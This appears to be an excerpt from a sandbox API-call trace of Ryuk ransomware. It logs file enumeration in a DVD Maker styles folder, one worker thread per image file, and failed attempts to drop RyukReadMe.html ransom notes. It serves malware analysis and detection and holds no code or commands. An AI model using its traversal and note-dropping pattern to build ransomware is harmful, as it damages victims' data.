	[0229.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4c
	[0229.165] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.166] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x62, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1
	[0229.166] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd50
	[0229.168] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.168] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1
	[0229.168] SetLastError (dwErrCode=0x0) 
	[0229.168] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.169] GetLastError () returned 0x5
	[0229.169] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0229.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0229.172] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0229.172] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0229.172] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd58
	[0229.175] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.176] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1
	[0229.176] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd5c
	[0229.178] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.178] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0229.178] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd60
	[0229.181] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.181] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0229.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd64
	[0229.184] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.184] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0229.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd68
	[0229.186] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.187] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0229.187] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c
	[0229.188] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.189] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0229.189] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70
	[0229.191] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.192] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0229.192] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd74
	[0229.195] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.196] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x76, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1
	[0229.196] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd78
	[0229.375] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.376] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x76, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1
	[0229.376] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca8
	[0229.378] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.378] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x76, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1
	[0229.379] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd40
	[0229.380] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.381] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x76, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1
	[0229.381] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd44
	[0229.382] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.383] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x76, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0
	[0229.383] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0229.388] SetLastError (dwErrCode=0x0) 
	[0229.388] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.397] GetLastError () returned 0x5
	[0229.397] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0229.397] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.397] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1
	[0229.397] SetLastError (dwErrCode=0x0) 
	[0229.397] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.397] GetLastError () returned 0x5
	[0229.397] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0229.397] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0229.404] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0229.405] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0229.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb30
	[0229.408] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.408] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1
	[0229.409] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb0
	[0229.704] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.705] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0229.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8
	[0229.708] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.708] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x76, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1
	[0229.708] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb4
	[0229.711] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.711] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0229.711] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce4
	[0229.713] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.714] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0229.714] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04
	[0229.716] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.717] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0229.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
